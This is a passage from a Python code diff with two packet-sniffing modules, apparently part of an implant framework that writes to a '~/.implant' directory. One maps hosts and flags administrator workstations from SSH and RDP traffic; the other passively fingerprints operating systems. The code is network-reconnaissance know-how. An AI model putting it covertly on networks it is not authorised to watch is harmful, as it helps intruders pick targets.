self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-netmap-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-netmap-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self._snapshot_thread = threading.Thread(
|
||||
target=self._snapshot_loop, daemon=True, name="sensor-netmap-snapshot"
|
||||
)
|
||||
self._snapshot_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("NetworkMapper started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
for t in (self._read_thread, self._flush_thread, self._snapshot_thread):
|
||||
if t and t.is_alive():
|
||||
t.join(timeout=5.0)
|
||||
self._flush_to_db()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("NetworkMapper stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
hosts = set()
|
||||
for (src, dst, _, _) in self._graph:
|
||||
hosts.add(src)
|
||||
hosts.add(dst)
|
||||
self._stats["hosts_seen"] = len(hosts)
|
||||
self._stats["unique_connections"] = len(self._graph)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_packet(pkt, ts)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _process_packet(self, pkt: bytes, ts: float) -> None:
|
||||
"""Extract IP flow tuple and update graph."""
|
||||
if len(pkt) < 34:
|
||||
return
|
||||
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
|
||||
# Handle 802.1Q
|
||||
eth_offset = 14
|
||||
if ethertype == 0x8100:
|
||||
if len(pkt) < 38:
|
||||
return
|
||||
ethertype = struct.unpack("!H", pkt[16:18])[0]
|
||||
eth_offset = 18
|
||||
|
||||
if ethertype != 0x0800: # IPv4 only
|
||||
return
|
||||
|
||||
if len(pkt) < eth_offset + 20:
|
||||
return
|
||||
|
||||
ip_header = pkt[eth_offset:]
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
total_len = struct.unpack("!H", ip_header[2:4])[0]
|
||||
ip_proto = ip_header[9]
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_header[16:20])
|
||||
|
||||
port = 0
|
||||
proto_name = "other"
|
||||
|
||||
if ip_proto == TCP_PROTO and len(ip_header) >= ihl + 4:
|
||||
_, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
|
||||
port = dst_port
|
||||
proto_name = "tcp"
|
||||
elif ip_proto == UDP_PROTO and len(ip_header) >= ihl + 4:
|
||||
_, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
|
||||
port = dst_port
|
||||
proto_name = "udp"
|
||||
elif ip_proto == 1:
|
||||
proto_name = "icmp"
|
||||
|
||||
pkt_bytes = total_len
|
||||
|
||||
key = (src_ip, dst_ip, proto_name, port)
|
||||
with self._lock:
|
||||
if key not in self._graph:
|
||||
self._graph[key] = {
|
||||
"bytes": 0, "packets": 0,
|
||||
"first_seen": ts, "last_seen": ts,
|
||||
}
|
||||
entry = self._graph[key]
|
||||
entry["bytes"] += pkt_bytes
|
||||
entry["packets"] += 1
|
||||
entry["last_seen"] = ts
|
||||
|
||||
# Track roles
|
||||
self._inbound[dst_ip].add(src_ip)
|
||||
self._outbound[src_ip].add(dst_ip)
|
||||
if port in (22, 3389):
|
||||
self._ssh_rdp_dests[src_ip].add(dst_ip)
|
||||
if port == PRINTER_PORT:
|
||||
self._printer_servers.add(dst_ip)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Role classification
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _classify_role(self, ip: str) -> str:
|
||||
"""Classify a host's role based on observed traffic patterns."""
|
||||
roles = []
|
||||
if len(self._inbound.get(ip, set())) >= SERVER_INBOUND_THRESHOLD:
|
||||
roles.append("server")
|
||||
if len(self._ssh_rdp_dests.get(ip, set())) >= ADMIN_SSH_RDP_THRESHOLD:
|
||||
roles.append("admin_workstation")
|
||||
if ip in self._printer_servers:
|
||||
roles.append("printer")
|
||||
if len(self._outbound.get(ip, set())) >= CLIENT_OUTBOUND_THRESHOLD:
|
||||
roles.append("client")
|
||||
return ",".join(roles) if roles else "unknown"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Graphviz output
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def generate_dot(self) -> str:
|
||||
"""Generate Graphviz DOT format of the communication graph."""
|
||||
lines = ['digraph network {', ' rankdir=LR;', ' node [shape=box];']
|
||||
|
||||
with self._lock:
|
||||
hosts = set()
|
||||
for (src, dst, proto, port) in self._graph:
|
||||
hosts.add(src)
|
||||
hosts.add(dst)
|
||||
|
||||
# Node declarations with role colors
|
||||
role_colors = {
|
||||
"server": "lightblue",
|
||||
"admin_workstation": "orange",
|
||||
"printer": "lightgreen",
|
||||
"client": "lightyellow",
|
||||
}
|
||||
for ip in sorted(hosts):
|
||||
role = self._classify_role(ip)
|
||||
color = "white"
|
||||
for r, c in role_colors.items():
|
||||
if r in role:
|
||||
color = c
|
||||
break
|
||||
label = f"{ip}\\n[{role}]"
|
||||
lines.append(f' "{ip}" [label="{label}", style=filled, fillcolor={color}];')
|
||||
|
||||
# Edges
|
||||
for (src, dst, proto, port), data in self._graph.items():
|
||||
label = f"{proto}/{port}\\n{data['packets']}pkts"
|
||||
lines.append(f' "{src}" -> "{dst}" [label="{label}"];')
|
||||
|
||||
lines.append('}')
|
||||
return '\n'.join(lines)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "network_mapper.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _flush_to_db(self) -> None:
|
||||
"""Flush in-memory graph to SQLite."""
|
||||
with self._lock:
|
||||
snapshot = dict(self._graph)
|
||||
|
||||
if not snapshot or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
for (src, dst, proto, port), data in snapshot.items():
|
||||
rel = self._classify_role(dst)
|
||||
self._db_conn.execute(
|
||||
"""INSERT INTO connections
|
||||
(src_ip, dst_ip, protocol, port, bytes_total, packets,
|
||||
first_seen, last_seen, relationship_type)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(src_ip, dst_ip, protocol, port)
|
||||
DO UPDATE SET
|
||||
bytes_total = bytes_total + excluded.bytes_total,
|
||||
packets = packets + excluded.packets,
|
||||
last_seen = MAX(last_seen, excluded.last_seen)""",
|
||||
(src, dst, proto, port, data["bytes"], data["packets"],
|
||||
data["first_seen"], data["last_seen"], rel),
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to flush connections to DB")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_to_db()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
|
||||
def _snapshot_loop(self) -> None:
|
||||
"""Periodic snapshots for change_detector consumption."""
|
||||
while self._running:
|
||||
time.sleep(SNAPSHOT_INTERVAL)
|
||||
try:
|
||||
dot_output = self.generate_dot()
|
||||
snapshot_dir = os.path.join(
|
||||
os.path.dirname(self._db_path), "snapshots"
|
||||
)
|
||||
Path(snapshot_dir).mkdir(parents=True, exist_ok=True)
|
||||
filename = f"netmap_{int(time.time())}.dot"
|
||||
filepath = os.path.join(snapshot_dir, filename)
|
||||
with open(filepath, "w") as f:
|
||||
f.write(dot_output)
|
||||
self._stats["snapshots_taken"] += 1
|
||||
|
||||
# Publish snapshot event for change_detector
|
||||
self.bus.emit("CHANGE_DETECTED", {
|
||||
"module": self.name,
|
||||
"snapshot_path": filepath,
|
||||
"hosts_count": self._stats["hosts_seen"],
|
||||
"connections_count": self._stats["unique_connections"],
|
||||
}, source_module=self.name)
|
||||
|
||||
except Exception:
|
||||
logger.exception("Snapshot loop error")
|
||||
@@ -0,0 +1,623 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Passive OS fingerprinting via p0f-style TCP analysis and protocol headers.
|
||||
|
||||
Analyzes:
|
||||
- TCP SYN/SYN-ACK: TTL, window size, DF flag, MSS, SACK, TCP timestamps
|
||||
- HTTP User-Agent headers
|
||||
- DHCP vendor class identifiers
|
||||
- SMB dialect negotiation
|
||||
- SSH version strings
|
||||
|
||||
Multiple signal sources produce confidence scoring per host. Results are
|
||||
merged with the hosts table from host_discovery.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# p0f-style TCP signature database (built-in fallback)
|
||||
# Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version)
|
||||
TCP_SIG_DB = [
|
||||
# Linux signatures
|
||||
{"ttl": (64, 64), "df": True, "window": (5720, 65535), "mss": (1360, 1460),
|
||||
"sack": True, "ts": True, "os_family": "Linux", "os_version": "2.6+"},
|
||||
# Windows signatures
|
||||
{"ttl": (128, 128), "df": True, "window": (8192, 65535), "mss": (1360, 1460),
|
||||
"sack": True, "ts": False, "os_family": "Windows", "os_version": "7/10/Server"},
|
||||
{"ttl": (128, 128), "df": True, "window": (8192, 8192), "mss": (1360, 1460),
|
||||
"sack": True, "ts": False, "os_family": "Windows", "os_version": "XP/2003"},
|
||||
# macOS / iOS
|
||||
{"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460),
|
||||
"sack": True, "ts": True, "os_family": "macOS", "os_version": "10.x+"},
|
||||
# FreeBSD
|
||||
{"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460),
|
||||
"sack": True, "ts": True, "os_family": "FreeBSD", "os_version": ""},
|
||||
# Cisco IOS
|
||||
{"ttl": (255, 255), "df": False, "window": (4128, 4128), "mss": (536, 536),
|
||||
"sack": False, "ts": False, "os_family": "Cisco", "os_version": "IOS"},
|
||||
# Solaris
|
||||
{"ttl": (255, 255), "df": False, "window": (49232, 49232), "mss": (1360, 1460),
|
||||
"sack": False, "ts": True, "os_family": "Solaris", "os_version": "10+"},
|
||||
]
|
||||
|
||||
# HTTP User-Agent patterns
|
||||
UA_PATTERNS = [
|
||||
(re.compile(r"Windows NT 10\.0"), "Windows", "10/11"),
|
||||
(re.compile(r"Windows NT 6\.3"), "Windows", "8.1"),
|
||||
(re.compile(r"Windows NT 6\.2"), "Windows", "8"),
|
||||
(re.compile(r"Windows NT 6\.1"), "Windows", "7"),
|
||||
(re.compile(r"Windows NT 5\.1"), "Windows", "XP"),
|
||||
(re.compile(r"Mac OS X (\d+[._]\d+)"), "macOS", ""),
|
||||
(re.compile(r"Linux"), "Linux", ""),
|
||||
(re.compile(r"Ubuntu"), "Linux", "Ubuntu"),
|
||||
(re.compile(r"Android (\d+)"), "Android", ""),
|
||||
(re.compile(r"iPhone OS (\d+)"), "iOS", ""),
|
||||
(re.compile(r"iPad.*OS (\d+)"), "iPadOS", ""),
|
||||
(re.compile(r"CrOS"), "ChromeOS", ""),
|
||||
]
|
||||
|
||||
|
||||
class OSFingerprint(BaseModule):
|
||||
"""Passive OS fingerprinting via TCP/protocol analysis."""
|
||||
|
||||
name = "os_fingerprint"
|
||||
module_type = "passive"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
BATCH_SIZE = 200
|
||||
FLUSH_INTERVAL = 120
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._reader_thread: Optional[threading.Thread] = None
|
||||
self._flusher_thread: Optional[threading.Thread] = None
|
||||
self._buffer = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._db_path = ""
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._total_fingerprints = 0
|
||||
# Per-IP confidence tracker: ip -> {os_family: {method: confidence}}
|
||||
self._ip_os_scores = {}
|
||||
self._scores_lock = threading.Lock()
|
||||
# External signature database
|
||||
self._os_sigs = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._capture_bus = self.config.get("capture_bus")
|
||||
if not self._capture_bus:
|
||||
logger.error("OSFingerprint requires capture_bus in config")
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "os_fingerprints.db")
|
||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||
self._init_db()
|
||||
|
||||
# Load external OS signatures
|
||||
sigs_path = self.config.get("os_sigs_db", "")
|
||||
if sigs_path and os.path.isfile(sigs_path):
|
||||
self._load_os_sigs(sigs_path)
|
||||
|
||||
# Subscribe to SYN packets + HTTP/SMB/SSH for protocol fingerprinting
|
||||
# Using a broad filter; the module parses selectively
|
||||
bpf = "tcp[tcpflags] & (tcp-syn) != 0"
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter=bpf, queue_depth=8000
|
||||
)
|
||||
|
||||
# Second subscription for application-layer fingerprints
|
||||
# We use a broader capture for HTTP/SMB/SSH — but since capture_bus
|
||||
# only supports one subscription per module name, we parse app-layer
|
||||
# from the same stream by also checking non-SYN packets that match
|
||||
# We subscribe with an empty filter to get everything and filter in code
|
||||
# Actually, let's keep SYN filter and add a second subscriber
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name,
|
||||
bpf_filter="tcp", # All TCP — we filter SYN and app-layer in code
|
||||
queue_depth=10000,
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._reader_thread = threading.Thread(
|
||||
target=self._read_packets, daemon=True, name="sensor-osfp-reader"
|
||||
)
|
||||
self._reader_thread.start()
|
||||
|
||||
self._flusher_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-osfp-flusher"
|
||||
)
|
||||
self._flusher_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("OSFingerprint started — passive TCP/protocol analysis")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("OSFingerprint stopped — %d fingerprints collected", self._total_fingerprints)
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._scores_lock:
|
||||
unique_hosts = len(self._ip_os_scores)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_fingerprints": self._total_fingerprints,
|
||||
"unique_hosts": unique_hosts,
|
||||
"buffer_size": len(self._buffer),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _init_db(self) -> None:
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS os_fingerprints (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
ip TEXT NOT NULL,
|
||||
method TEXT NOT NULL,
|
||||
signature TEXT,
|
||||
os_family TEXT,
|
||||
os_version TEXT,
|
||||
confidence REAL,
|
||||
timestamp REAL NOT NULL
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_osfp_ip ON os_fingerprints(ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_osfp_family ON os_fingerprints(os_family);
|
||||
""")
|
||||
self._db_conn.commit()
|
||||
|
||||
def _load_os_sigs(self, path: str) -> None:
|
||||
"""Load OS signature database from SQLite."""
|
||||
try:
|
||||
conn = sqlite3.connect(path)
|
||||
rows = conn.execute(
|
||||
"SELECT ttl, window, df, mss, sack, timestamps, os_family, os_version "
|
||||
"FROM signatures"
|
||||
).fetchall()
|
||||
for row in rows:
|
||||
self._os_sigs.append({
|
||||
"ttl": (row[0], row[0]),
|
||||
"window": (row[1], row[1]),
|
||||
"df": bool(row[2]),
|
||||
"mss": (row[3], row[3]),
|
||||
"sack": bool(row[4]),
|
||||
"ts": bool(row[5]),
|
||||
"os_family": row[6],
|
||||
"os_version": row[7] or "",
|
||||
})
|
||||
conn.close()
|
||||
logger.info("Loaded %d OS signatures from %s", len(self._os_sigs), path)
|
||||
except Exception:
|
||||
logger.warning("Failed to load OS signatures from %s", path)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet reader
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_packets(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, raw_packet = result
|
||||
try:
|
||||
self._parse_packet(ts, raw_packet)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_packet(self, ts: float, raw: bytes) -> None:
|
||||
if len(raw) < 14:
|
||||
return
|
||||
|
||||
eth_type = struct.unpack("!H", raw[12:14])[0]
|
||||
ip_offset = 14
|
||||
if eth_type == 0x8100:
|
||||
if len(raw) < 18:
|
||||
return
|
||||
eth_type = struct.unpack("!H", raw[16:18])[0]
|
||||
ip_offset = 18
|
||||
|
||||
if eth_type != 0x0800:
|
||||
return
|
||||
|
||||
if len(raw) < ip_offset + 20:
|
||||
return
|
||||
|
||||
ip_hdr = raw[ip_offset:]
|
||||
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||
ip_proto = ip_hdr[9]
|
||||
if ip_proto != 6:
|
||||
return
|
||||
|
||||
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||
ip_ttl = ip_hdr[8]
|
||||
ip_flags = struct.unpack("!H", ip_hdr[6:8])[0]
|
||||
df_flag = bool(ip_flags & 0x4000)
|
||||
|
||||
tcp_offset = ip_offset + ihl
|
||||
if len(raw) < tcp_offset + 20:
|
||||
return
|
||||
|
||||
tcp_hdr = raw[tcp_offset:]
|
||||
src_port, dst_port = struct.unpack("!HH", tcp_hdr[:4])
|
||||
tcp_flags = tcp_hdr[13]
|
||||
window = struct.unpack("!H", tcp_hdr[14:16])[0]
|
||||
tcp_hdr_len = ((tcp_hdr[12] >> 4) & 0xF) * 4
|
||||
|
||||
syn = bool(tcp_flags & 0x02)
|
||||
ack = bool(tcp_flags & 0x10)
|
||||
|
||||
# SYN or SYN-ACK — do TCP fingerprinting
|
||||
if syn:
|
||||
self._fingerprint_tcp_syn(
|
||||
ts, src_ip, ip_ttl, df_flag, window,
|
||||
tcp_hdr[:tcp_hdr_len], syn_ack=ack,
|
||||
)
|
||||
|
||||
# Application-layer fingerprinting for non-SYN packets with payload
|
||||
if not syn:
|
||||
payload = raw[tcp_offset + tcp_hdr_len:]
|
||||
if payload:
|
||||
if src_port == 80 or dst_port == 80 or src_port == 8080 or dst_port == 8080:
|
||||
self._fingerprint_http(ts, src_ip, dst_ip, src_port, payload)
|
||||
elif src_port == 22 or dst_port == 22:
|
||||
self._fingerprint_ssh(ts, src_ip, src_port, payload)
|
||||
elif src_port == 445 or dst_port == 445:
|
||||
self._fingerprint_smb(ts, src_ip, src_port, payload)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# TCP SYN fingerprinting (p0f-style)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _fingerprint_tcp_syn(self, ts: float, ip: str, ttl: int,
|
||||
df: bool, window: int, tcp_header: bytes,
|
||||
syn_ack: bool = False) -> None:
|
||||
"""Analyze TCP SYN/SYN-ACK options for OS fingerprinting."""
|
||||
# Parse TCP options
|
||||
mss = 0
|
||||
has_sack = False
|
||||
has_timestamps = False
|
||||
wscale = 0
|
||||
|
||||
if len(tcp_header) > 20:
|
||||
opt_offset = 20
|
||||
while opt_offset < len(tcp_header):
|
||||
opt_kind = tcp_header[opt_offset]
|
||||
if opt_kind == 0: # End of options
|
||||
break
|
||||
if opt_kind == 1: # NOP
|
||||
opt_offset += 1
|
||||
continue
|
||||
if opt_offset + 1 >= len(tcp_header):
|
||||
break
|
||||
opt_len = tcp_header[opt_offset + 1]
|
||||
if opt_len < 2 or opt_offset + opt_len > len(tcp_header):
|
||||
break
|
||||
|
||||
if opt_kind == 2 and opt_len == 4: # MSS
|
||||
mss = struct.unpack("!H", tcp_header[opt_offset + 2:opt_offset + 4])[0]
|
||||
elif opt_kind == 3 and opt_len == 3: # Window Scale
|
||||
wscale = tcp_header[opt_offset + 2]
|
||||
elif opt_kind == 4: # SACK Permitted
|
||||
has_sack = True
|
||||
elif opt_kind == 8: # Timestamps
|
||||
has_timestamps = True
|
||||
|
||||
opt_offset += opt_len
|
||||
|
||||
# Normalize TTL to nearest power-of-2 boundary
|
||||
initial_ttl = self._normalize_ttl(ttl)
|
||||
|
||||
# Build signature string
|
||||
sig = f"ttl:{initial_ttl}:win:{window}:mss:{mss}:df:{int(df)}:sack:{int(has_sack)}:ts:{int(has_timestamps)}:wscale:{wscale}"
|
||||
|
||||
# Match against signature database
|
||||
os_family, os_version, confidence = self._match_tcp_signature(
|
||||
initial_ttl, window, df, mss, has_sack, has_timestamps,
|
||||
)
|
||||
|
||||
if os_family:
|
||||
method = "tcp_syn_ack" if syn_ack else "tcp_syn"
|
||||
self._record_fingerprint(ts, ip, method, sig, os_family, os_version, confidence)
|
||||
|
||||
def _match_tcp_signature(self, ttl: int, window: int, df: bool,
|
||||
mss: int, sack: bool, timestamps: bool) -> tuple:
|
||||
"""Match TCP parameters against signature database."""
|
||||
best_match = ("", "", 0.0)
|
||||
best_score = 0
|
||||
|
||||
sig_sources = self._os_sigs if self._os_sigs else TCP_SIG_DB
|
||||
|
||||
for sig in sig_sources:
|
||||
score = 0
|
||||
total = 6
|
||||
|
||||
ttl_lo, ttl_hi = sig["ttl"]
|
||||
if ttl_lo <= ttl <= ttl_hi:
|
||||
score += 2 # TTL is weighted higher
|
||||
|
||||
win_lo, win_hi = sig["window"]
|
||||
if win_lo <= window <= win_hi:
|
||||
score += 1
|
||||
|
||||
if sig["df"] == df:
|
||||
score += 1
|
||||
|
||||
mss_lo, mss_hi = sig["mss"]
|
||||
if mss_lo <= mss <= mss_hi:
|
||||
score += 1
|
||||
|
||||
if sig["sack"] == sack:
|
||||
score += 0.5
|
||||
|
||||
if sig["ts"] == timestamps:
|
||||
score += 0.5
|
||||
|
||||
if score > best_score:
|
||||
best_score = score
|
||||
confidence = score / total
|
||||
best_match = (sig["os_family"], sig["os_version"], confidence)
|
||||
|
||||
return best_match
|
||||
|
||||
@staticmethod
|
||||
def _normalize_ttl(ttl: int) -> int:
|
||||
"""Estimate initial TTL from observed TTL."""
|
||||
if ttl <= 32:
|
||||
return 32
|
||||
elif ttl <= 64:
|
||||
return 64
|
||||
elif ttl <= 128:
|
||||
return 128
|
||||
else:
|
||||
return 255
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Application-layer fingerprinting
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _fingerprint_http(self, ts: float, src_ip: str, dst_ip: str,
|
||||
src_port: int, payload: bytes) -> None:
|
||||
"""Extract OS info from HTTP User-Agent headers."""
|
||||
try:
|
||||
text = payload[:4096].decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
return
|
||||
|
||||
ua_match = re.search(r"User-Agent:\s*(.+?)(?:\r\n|\n)", text, re.IGNORECASE)
|
||||
if not ua_match:
|
||||
return
|
||||
|
||||
ua = ua_match.group(1).strip()
|
||||
# The User-Agent is from the client (request sender)
|
||||
# If src_port is ephemeral (>1024), this is a client
|
||||
if src_port > 1024:
|
||||
fp_ip = src_ip
|
||||
else:
|
||||
fp_ip = dst_ip
|
||||
|
||||
for pattern, os_family, os_version in UA_PATTERNS:
|
||||
m = pattern.search(ua)
|
||||
if m:
|
||||
version = os_version
|
||||
if not version and m.lastindex:
|
||||
version = m.group(1).replace("_", ".")
|
||||
self._record_fingerprint(
|
||||
ts, fp_ip, "http_ua", ua[:200],
|
||||
os_family, version, 0.7,
|
||||
)
|
||||
break
|
||||
|
||||
def _fingerprint_ssh(self, ts: float, ip: str, src_port: int,
|
||||
payload: bytes) -> None:
|
||||
"""Extract OS info from SSH version string."""
|
||||
try:
|
||||
text = payload[:256].decode("ascii", errors="ignore")
|
||||
except Exception:
|
||||
return
|
||||
|
||||
if not text.startswith("SSH-"):
|
||||
return
|
||||
|
||||
# SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
|
||||
version_str = text.strip()
|
||||
# The SSH server sends its banner — src_port should be 22
|
||||
fp_ip = ip if src_port == 22 else ip
|
||||
|
||||
os_family = ""
|
||||
os_version = ""
|
||||
|
||||
if "Ubuntu" in version_str:
|
||||
os_family = "Linux"
|
||||
os_version = "Ubuntu"
|
||||
elif "Debian" in version_str:
|
||||
os_family = "Linux"
|
||||
os_version = "Debian"
|
||||
elif "FreeBSD" in version_str:
|
||||
os_family = "FreeBSD"
|
||||
elif "OpenSSH" in version_str:
|
||||
# Generic OpenSSH — likely Linux or BSD
|
||||
os_family = "Linux/BSD"
|
||||
|
||||
if os_family:
|
||||
self._record_fingerprint(
|
||||
ts, fp_ip, "ssh_banner", version_str[:200],
|
||||
os_family, os_version, 0.8,
|
||||
)
|
||||
|
||||
def _fingerprint_smb(self, ts: float, ip: str, src_port: int,
|
||||
payload: bytes) -> None:
|
||||
"""Extract OS info from SMB negotiate response."""
|
||||
# SMB2 header: 0xFE 'S' 'M' 'B'
|
||||
if len(payload) < 68:
|
||||
return
|
||||
|
||||
# Look for SMB2 header
|
||||
smb2_offset = payload.find(b"\xfeSMB")
|
||||
if smb2_offset < 0:
|
||||
# Try SMB1
|
||||
smb1_offset = payload.find(b"\xffSMB")
|
||||
if smb1_offset >= 0 and src_port == 445:
|
||||
self._record_fingerprint(
|
||||
ts, ip, "smb_dialect", "SMB1",
|
||||
"Windows", "XP/2003 or Samba", 0.5,
|
||||
)
|
||||
return
|
||||
|
||||
# SMB2 negotiate response from server (src_port 445)
|
||||
if src_port != 445:
|
||||
return
|
||||
|
||||
smb2_data = payload[smb2_offset:]
|
||||
if len(smb2_data) < 68:
|
||||
return
|
||||
|
||||
# SMB2 header is 64 bytes, then negotiate response
|
||||
# Dialect at offset 4-5 of negotiate response (after 64-byte header)
|
||||
neg_response = smb2_data[64:]
|
||||
if len(neg_response) < 6:
|
||||
return
|
||||
|
||||
# struct_size(2) + security_mode(2) + dialect_revision(2)
|
||||
dialect = struct.unpack("<H", neg_response[4:6])[0]
|
||||
|
||||
dialect_map = {
|
||||
0x0202: ("Windows", "Vista/2008 or Samba"),
|
||||
0x0210: ("Windows", "7/2008R2"),
|
||||
0x0300: ("Windows", "8/2012"),
|
||||
0x0302: ("Windows", "8.1/2012R2"),
|
||||
0x0311: ("Windows", "10/2016+"),
|
||||
}
|
||||
|
||||
if dialect in dialect_map:
|
||||
os_family, os_version = dialect_map[dialect]
|
||||
self._record_fingerprint(
|
||||
ts, ip, "smb_dialect", f"SMB{dialect:#06x}",
|
||||
os_family, os_version, 0.75,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
